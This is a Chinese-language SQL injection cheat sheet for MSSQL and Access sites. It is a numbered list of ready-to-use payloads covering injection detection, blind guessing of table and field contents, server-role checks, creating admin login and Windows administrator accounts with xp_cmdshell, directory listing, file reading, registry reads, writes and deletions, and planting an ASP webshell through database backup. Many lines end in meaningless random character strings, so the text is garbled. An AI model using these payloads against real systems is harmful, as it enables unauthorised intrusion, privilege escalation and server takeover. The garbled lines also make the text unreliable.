1.判断是否有注入;and 1=1 ;and 1=2 j=W@P-
2.初步判断是否是mssql ;and user>0 c4 5?St
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3.注入参数是字符'and [查询条件] and ''=' fL Nag~
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' BSKEh"f
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5.判断数据库系统 JpK[&/Ct
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;and (select count(*) from sysobjects)>0 mssql ~^$MA$ /p
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;and (select count(*) from msysobjects)>0 access pds*2p)2
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 r?^"65=
gI{ =0
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 <HF-2?`
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6V2j*J
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9.(1)猜字段的ascii值(access) 3gc"_C\$
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 :B.G)M\
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(2)猜字段的ascii值(mssql) Q#pnj thM
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 dIJGB==
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10.测试权限结构(mssql) 7`fY*O6
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- tS<h8g_
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- S+ebO/$>
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3dG4pl~
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- lzDdD3Ouc
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- x=Mm6}/
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- z0Xa_w=
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;and 1=(select IS_MEMBER('db_owner'));-- rzu
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11.添加mssql和系统的帐户 ZEGd4_ux
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;exec master.dbo.sp_addlogin username;-- 85z;Zt0{
;exec master.dbo.sp_password null,username,password;-- cZi[(K
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- KlUqoJ;"
d#\W hRE
;exec master.dbo.xp_cmdshell 'net user username password "2;N2=~7
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 0H[L S
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- *Jt8
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- z-@-O
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12.(1)遍历目录 ~/|zlu*jpc
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;create table dirs(paths varchar(100), id int) gs`> C(
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <&U!N'CE
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;and (select top 1 paths from dirs)>0 D9-Lg%
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;'3]{BGcU
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(2)遍历目录 [6RfS
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- U9#WN.noG
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5AOfp2O
#C\4/g?=,
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Jqru AW<
>Z\BfH
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4;*f1_;f~
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13.mssql中的存储过程 VXIQw'Cq
XP;x@I#l
xp_regenumvalues 注册表根键, 子键 d+}k g
(1){A8=?o
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 3k'.(P|F
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xp_regread 根键,子键,键值名 aws"3O%
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;exec xp_regread A}G|Yfn
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Q)^g3J
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xp_regwrite 根键,子键, 值名, 值类型, 值 rkYjq4Z@
onl>54M^
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 f0oek{
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 inF6M8
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xp_regdeletevalue 根键,子键,值名 J_ J+cRwq
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \##`pa(8
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Q2\
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14.mssql的backup创建webshell )|]Z>>%t
@2' %o<lF
use model
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create table cmd(str image); o4)hxs
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insert into cmd(str) values (''); &KqVN]1+^
^M|K;jt>
backup database model to disk='c:\l.asp'; !T'X
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15.mssql内置函数 -<W2PY<
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;and (select @@version)>0 获得Windows的版本号 #Lka+l;L7
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa o&-L0]i|
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;and (select user_name())>0 爆当前系统的连接用户 77Q}=80GU;
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;and (select db_name())>0 得到当前连接的数据库 \G;CQV#{9
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16.简洁的webshell $a.u05
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use model {}\CL#~y
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create table cmd(str image); b!a
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insert into cmd(str) values (''); nGa1a
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backup database model to disk='g:\wwwtest\l.asp';